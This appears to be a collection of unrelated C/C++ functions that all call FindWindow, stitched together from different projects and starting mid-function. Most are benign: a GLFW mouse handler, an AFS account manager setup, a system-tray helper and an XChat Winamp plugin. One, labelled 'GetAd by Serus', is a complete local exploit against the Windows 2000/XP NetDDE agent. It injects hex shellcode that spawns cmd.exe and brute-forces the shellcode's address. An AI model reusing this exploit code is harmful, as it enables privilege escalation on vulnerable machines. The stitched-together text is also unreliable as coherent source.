bAllClearLeft = TRUE; for (int i=nStartOffset;i<nScanR;i+=nScanSpace ) { AngleToXY(nCurAngle-4,i,nX,nY); COLORREF clrRef = GetPixel(hMemDC,nPrintWidth/2+nX,nPrintWidth/2+nY); if ( !CheckBg(clrRef)) { bAllClearLeft = FALSE; break; } } BOOL bAllClearRight = TRUE; for (int i=nStartOffset;i<nScanR;i+=nScanSpace ) { AngleToXY(nCurAngle+4,i,nX,nY); COLORREF clrRef = GetPixel(hMemDC,nPrintWidth/2+nX,nPrintWidth/2+nY); if ( !CheckBg(clrRef)) { bAllClearRight = FALSE; break; } } if ( !bAllClearLeft || !bAllClearRight ) { while (TRUE) { int nX = 0; int nY = 0; int nAngle = GetRandValue( 0 ,359 ); BOOL bAllClearLeft = TRUE; for (int i=nStartOffset;i<nScanR;i+=nScanSpace ) { AngleToXY(nAngle-4,i,nX,nY); COLORREF clrRef = GetPixel(hMemDC,nPrintWidth/2+nX,nPrintWidth/2+nY); if ( !CheckBg(clrRef)) { bAllClearLeft = FALSE; break; } } BOOL bAllClearRight = TRUE; for (int i=nStartOffset;i<nScanR;i+=nScanSpace ) { AngleToXY(nAngle+4,i,nX,nY); COLORREF clrRef = GetPixel(hMemDC,nPrintWidth/2+nX,nPrintWidth/2+nY); if ( !CheckBg(clrRef)) { bAllClearRight = FALSE; break; } } if (bAllClearLeft && bAllClearRight) { nCurAngle = nAngle; ChangeMoveAngle(hWndWork,nAngle); break; } } } Sleep(50); } return 0; }
static OSStatus mouseEventHandler( EventHandlerCallRef handlerCallRef, EventRef event, void *userData ) { switch( GetEventKind( event ) ) { case kEventMouseDown: { WindowRef window; EventRecord oldStyleMacEvent; ConvertEventRefToEventRecord( event, &oldStyleMacEvent ); if( FindWindow ( oldStyleMacEvent.where, &window ) == inMenuBar ) { MenuSelect( oldStyleMacEvent.where ); HiliteMenu(0); return noErr; } else { EventMouseButton button; if( GetEventParameter( event, kEventParamMouseButton, typeMouseButton, NULL, sizeof( EventMouseButton ), NULL, &button ) == noErr ) { button -= kEventMouseButtonPrimary; if( button <= GLFW_MOUSE_BUTTON_LAST ) { _glfwInputMouseClick( button + GLFW_MOUSE_BUTTON_LEFT, GLFW_PRESS ); } return noErr; } } break; } case kEventMouseUp: { EventMouseButton button; if( GetEventParameter( event, kEventParamMouseButton, typeMouseButton, NULL, sizeof( EventMouseButton ), NULL, &button ) == noErr ) { button -= kEventMouseButtonPrimary; if( button <= GLFW_MOUSE_BUTTON_LAST ) { _glfwInputMouseClick( button + GLFW_MOUSE_BUTTON_LEFT, GLFW_RELEASE ); } return noErr; } break; } case kEventMouseMoved: case kEventMouseDragged: { HIPoint mouseLocation; if( _glfwWin.mouseLock ) { if( GetEventParameter( event, kEventParamMouseDelta, typeHIPoint, NULL, sizeof( HIPoint ), NULL, &mouseLocation ) != noErr ) { break; } _glfwInput.MousePosX += mouseLocation.x; _glfwInput.MousePosY += mouseLocation.y; } else { if( GetEventParameter( event, kEventParamMouseLocation, typeHIPoint, NULL, sizeof( HIPoint ), NULL, &mouseLocation ) != noErr ) { break; } _glfwInput.MousePosX = mouseLocation.x; _glfwInput.MousePosY = mouseLocation.y; if( !_glfwWin.fullscreen ) { Rect content; GetWindowBounds( _glfwWin.window, kWindowContentRgn, &content ); _glfwInput.MousePosX -= content.left; _glfwInput.MousePosY -= content.top; } } if( _glfwWin.mousePosCallback ) { _glfwWin.mousePosCallback( _glfwInput.MousePosX, _glfwInput.MousePosY ); } break; } case kEventMouseWheelMoved: { EventMouseWheelAxis axis; if( GetEventParameter( event, kEventParamMouseWheelAxis, typeMouseWheelAxis, NULL, sizeof( EventMouseWheelAxis ), NULL, &axis) == noErr ) { long wheelDelta; if( axis == kEventMouseWheelAxisY && GetEventParameter( event, kEventParamMouseWheelDelta, typeLongInteger, NULL, sizeof( long ), NULL, &wheelDelta ) == noErr ) { _glfwInput.WheelPos += wheelDelta; if( _glfwWin.mouseWheelCallback ) { _glfwWin.mouseWheelCallback( _glfwInput.WheelPos ); } return noErr; } } break; } } return eventNotHandledErr; }
BOOL InitApplication (HINSTANCE hInst, LPTSTR pszCmdLine, int nCmdShow) { TaLocale_LoadCorrespondingModule (hInst); memset (&g, 0x00, sizeof(g)); g.hInst = hInst; g.hAccel = TaLocale_LoadAccelerators (ACCEL_MAIN); HWND hPrevious; TCHAR szTitle[ cchRESOURCE ]; GetString (szTitle, IDS_APP_TITLE); if ((hPrevious = FindWindow (TEXT("AFSAccountManagerClass"), szTitle)) != NULL) { SetFocus (hPrevious); SendMessage (hPrevious, WM_SHOW_YOURSELF, 0, 0); return FALSE; } AfsAppLib_SetAppName(szTitle); AfsAppLib_SetPumpRoutine(PumpMessage); TASKQUEUE_PARAMS tqp; memset (&tqp, 0x00, sizeof(tqp)); tqp.nThreadsMax = 10; tqp.fnCreateTaskPacket = CreateTaskPacket; tqp.fnPerformTask = PerformTask; tqp.fnFreeTaskPacket = FreeTaskPacket; AfsAppLib_InitTaskQueue (&tqp); Main_ConfigureHelp(); // Determine how the app is supposed to look--that is, remember what it // looked like last time, and if there was no "last time", pick some // decent defaults. // if (!RestoreSettings (REGSTR_SETTINGS_BASE, REGSTR_SETTINGS_PATH, REGVAL_SETTINGS, &gr, sizeof(gr), wVerGLOBALS_RESTORED)) { memset (&gr, 0x00, sizeof(gr)); SetRectEmpty (&gr.rMain); gr.cminRefreshRate = 60; // 1 hour default refresh rate User_SetDefaultCreateParams (&gr.CreateUser); Group_SetDefaultCreateParams (&gr.CreateGroup); Machine_SetDefaultCreateParams (&gr.CreateMachine); Actions_SetDefaultView (&gr.viewAct); User_SetDefaultView (&gr.viewUsr, &gr.ivUsr); Group_SetDefaultView (&gr.viewGrp, &gr.ivGrp); Machine_SetDefaultView (&gr.viewMch, &gr.ivMch); Users_SetDefaultSearchParams (&gr.SearchUsers); } // Create a variation on WC_DIALOG, so we get appropriate icons on // our windows. // WNDCLASS wc; GetClassInfo (THIS_HINST, MAKEINTRESOURCE( WC_DIALOG ), &wc); wc.hInstance = THIS_HINST; wc.hIcon = TaLocale_LoadIcon (IDI_MAIN); wc.lpszClassName = TEXT("AFSAccountManagerClass"); wc.style |= CS_GLOBALCLASS; RegisterClass (&wc); // Okay, the big step: create the main window. Note that it doesn't // get shown yet! // CMDLINEOP op = ParseCommandLine (pszCmdLine); if (op == opCLOSEAPP) return FALSE; // Okay, the big step: create the main window. // Note that it doesn't get shown yet! // g.hMain = ModelessDialog (IDD_MAIN, NULL, (DLGPROC)Main_DialogProc); if (g.hMain == NULL) return FALSE; if (op != opNOCELLDIALOG) { if (OpenCellDialog() != IDOK) return FALSE; } return TRUE; }
void CSystemTray::GetTrayWndRect(LPRECT lprect) { #define DEFAULT_RECT_WIDTH 150 #define DEFAULT_RECT_HEIGHT 30 HWND hShellTrayWnd = FindWindow(_T("Shell_TrayWnd"), NULL); if (hShellTrayWnd) { GetWindowRect(hShellTrayWnd, lprect); EnumChildWindows(hShellTrayWnd, FindTrayWnd, (LPARAM)lprect); return; } // OK, we failed to get the rect from the quick hack. Either explorer isn't // running or it's a new version of the shell with the window class names // changed (how dare Microsoft change these undocumented class names!) So, we // try to find out what side of the screen the taskbar is connected to. We // know that the system tray is either on the right or the bottom of the // taskbar, so we can make a good guess at where to minimize to APPBARDATA appBarData; appBarData.cbSize=sizeof(appBarData); if (SHAppBarMessage(ABM_GETTASKBARPOS,&appBarData)) { // We know the edge the taskbar is connected to, so guess the rect of the // system tray. Use various fudge factor to make it look good switch(appBarData.uEdge) { case ABE_LEFT: case ABE_RIGHT: // We want to minimize to the bottom of the taskbar lprect->top = appBarData.rc.bottom-100; lprect->bottom = appBarData.rc.bottom-16; lprect->left = appBarData.rc.left; lprect->right = appBarData.rc.right; break; case ABE_TOP: case ABE_BOTTOM: // We want to minimize to the right of the taskbar lprect->top = appBarData.rc.top; lprect->bottom = appBarData.rc.bottom; lprect->left = appBarData.rc.right-100; lprect->right = appBarData.rc.right-16; break; } return; } // Blimey, we really aren't in luck. It's possible that a third party shell // is running instead of explorer. This shell might provide support for the // system tray, by providing a Shell_TrayWnd window (which receives the // messages for the icons) So, look for a Shell_TrayWnd window and work out // the rect from that. Remember that explorer's taskbar is the Shell_TrayWnd, // and stretches either the width or the height of the screen. We can't rely // on the 3rd party shell's Shell_TrayWnd doing the same, in fact, we can't // rely on it being any size. The best we can do is just blindly use the // window rect, perhaps limiting the width and height to, say 150 square. // Note that if the 3rd party shell supports the same configuraion as // explorer (the icons hosted in NotifyTrayWnd, which is a child window of // Shell_TrayWnd), we would already have caught it above if (hShellTrayWnd) { ::GetWindowRect(hShellTrayWnd, lprect); if (lprect->right - lprect->left > DEFAULT_RECT_WIDTH) lprect->left = lprect->right - DEFAULT_RECT_WIDTH; if (lprect->bottom - lprect->top > DEFAULT_RECT_HEIGHT) lprect->top = lprect->bottom - DEFAULT_RECT_HEIGHT; return; } // OK. Haven't found a thing. Provide a default rect based on the current work // area SystemParametersInfo(SPI_GETWORKAREA,0,lprect, 0); lprect->left = lprect->right - DEFAULT_RECT_WIDTH; lprect->top = lprect->bottom - DEFAULT_RECT_HEIGHT; }
void main(int argc, char *argv[ ], char *envp[ ] ) { char *buf; DWORD Addr = 0; BOOL bExec = TRUE; unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function, // executes cmd.exe on user`s desktop and creates mutex. 0x8B, 0xF4, 0x68, 0x53, 0x45, 0x52, 0x00, 0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00, 0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00, 0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44, 0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69, 0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C, 0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4, 0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3 }; HWND hWnd; COPYDATASTRUCT cds; OSVERSIONINFO osvi; HMODULE hMod; DWORD ProcAddr; HANDLE hMutex; char mutname[4]; printf("\n\n==== GetAd by Serus ([email protected]) ===="); // Get NetDDE Window hWnd = FindWindow("NDDEAgnt","NetDDE Agent"); if(hWnd == NULL) { MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP); return; } // Get CreateProcessA and CreateMutexA entry addresses hMod = GetModuleHandle("kernel32.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA"); if(ProcAddr == 0) { MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP); return; } *(DWORD *)(sc + 86 + 21) = ProcAddr; ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA"); if(ProcAddr == 0) { MessageBox(NULL, "Couldn't get CreateMutexA address", "Error", MB_OK | MB_ICONSTOP); return; } *(DWORD *)(sc + 15) = ProcAddr; //Generate random Mutex name srand(GetTickCount()); do { mutname[0] = 97 + rand()%25; mutname[1] = 65 + rand()%25; mutname[2] = 65 + rand()%25; mutname[3] = 0; } while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0); memcpy(sc + 3, mutname, 4); //Form buffer for SendMessage buf = (char *)malloc(1000); memset(buf, 0xC3, 1000); memcpy(buf, sc, sizeof(sc)); cds.cbData = 1000; cds.dwData = 0; cds.lpData=(PVOID)buf; //Get OS version osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(GetVersionEx(&osvi) == 0) { printf("\nWarning! Couldn't get OS verson. Trying as Win2k.\n"); osvi.dwMajorVersion = 5; } if(osvi.dwMajorVersion != 5) { MessageBox(NULL, "This program for Win2k and WinXP only!", "Error", MB_OK | MB_ICONSTOP); return; } if(osvi.dwMinorVersion == 0) { // Windows 2000 printf("\n\nUse Windows 2000 offsets"); //If first login //Send shellcode buffer SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); //Try execute it at 0x0080FA78 PostMessage(hWnd, WM_TIMER, 1, (LPARAM)0x0080FA78); printf("\nTrying at 0x%X", 0x0080FA78); //If fails (perhaps not first login) //Try to bruteforce shellcode addresss for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000) { //If mutex exists, shellcode has been executed if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0) { //Success printf("\nSuccess!!!\n"); printf("\nWarning! You system has vulnerability!\n"); CloseHandle(hMutex); return; } printf("\rTrying at 0x%X", Addr); SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr); } } else { // Windows XP printf("\n\nUse Windows XP offsets\n"); //Try to bruteforce shellcode addresss 0x00{A|B}4FA74 XP SP1 for(Addr = 0x00A0FA74; Addr < 0x01000000; Addr += 0x10000) { //If mutex exists, shellcode has been executed if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0) { //Success printf("\nSuccess!!!\n"); printf("\nWarning! You system has vulnerability!\n"); CloseHandle(hMutex); return; } printf("\rTrying at 0x%X", Addr); SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr); } } //Bug in winlogon not presents printf("\n\nBad luck! Try after first logon.\n\n"); }
static int winamp(char *word[], char *word_eol[], void *userdata) { char current_play[2048], *p; char p_esc[2048]; char cur_esc[2048]; char truc[2048]; HWND hwndWinamp = FindWindow("Winamp v1.x",NULL); if (hwndWinamp) { { if (!stricmp("PAUSE", word[2])) { if (SendMessage(hwndWinamp,WM_USER, 0, 104)) { SendMessage(hwndWinamp, WM_COMMAND, 40046, 0); if (SendMessage(hwndWinamp, WM_USER, 0, 104) == PLAYING) xchat_printf(ph, "Winamp: playing"); else xchat_printf(ph, "Winamp: paused"); } } else if (!stricmp("STOP", word[2])) { SendMessage(hwndWinamp, WM_COMMAND, 40047, 0); xchat_printf(ph, "Winamp: stopped"); } else if (!stricmp("PLAY", word[2])) { SendMessage(hwndWinamp, WM_COMMAND, 40045, 0); xchat_printf(ph, "Winamp: playing"); } else if (!stricmp("NEXT", word[2])) { SendMessage(hwndWinamp, WM_COMMAND, 40048, 0); xchat_printf(ph, "Winamp: next playlist entry"); } else if (!stricmp("PREV", word[2])) { SendMessage(hwndWinamp, WM_COMMAND, 40044, 0); xchat_printf(ph, "Winamp: previous playlist entry"); } else if (!stricmp("START", word[2])) { SendMessage(hwndWinamp, WM_COMMAND, 40154, 0); xchat_printf(ph, "Winamp: playlist start"); } else if (!word_eol[2][0]) { GetWindowText(hwndWinamp, current_play, sizeof(current_play)); if (strchr(current_play, '-')) { p = current_play + strlen(current_play) - 8; while (p >= current_play) { if (!strnicmp(p, "- Winamp", 8)) break; p--; } if (p >= current_play) p--; while (p >= current_play && *p == ' ') p--; *++p=0; p = strchr(current_play, '.') + 1; song_strcpy(p_esc, p); song_strcpy(cur_esc, current_play); if (p) { sprintf(truc, "me is now playing:%s", p_esc); } else { sprintf(truc, "me is now playing:%s", cur_esc); } xchat_commandf(ph, truc); } else xchat_print(ph, "Winamp: Nothing being played."); } else xchat_printf(ph, "Usage: /WINAMP [PAUSE|PLAY|STOP|NEXT|PREV|START]\n"); } } else { xchat_print(ph, "Winamp not found.\n"); } return XCHAT_EAT_ALL; }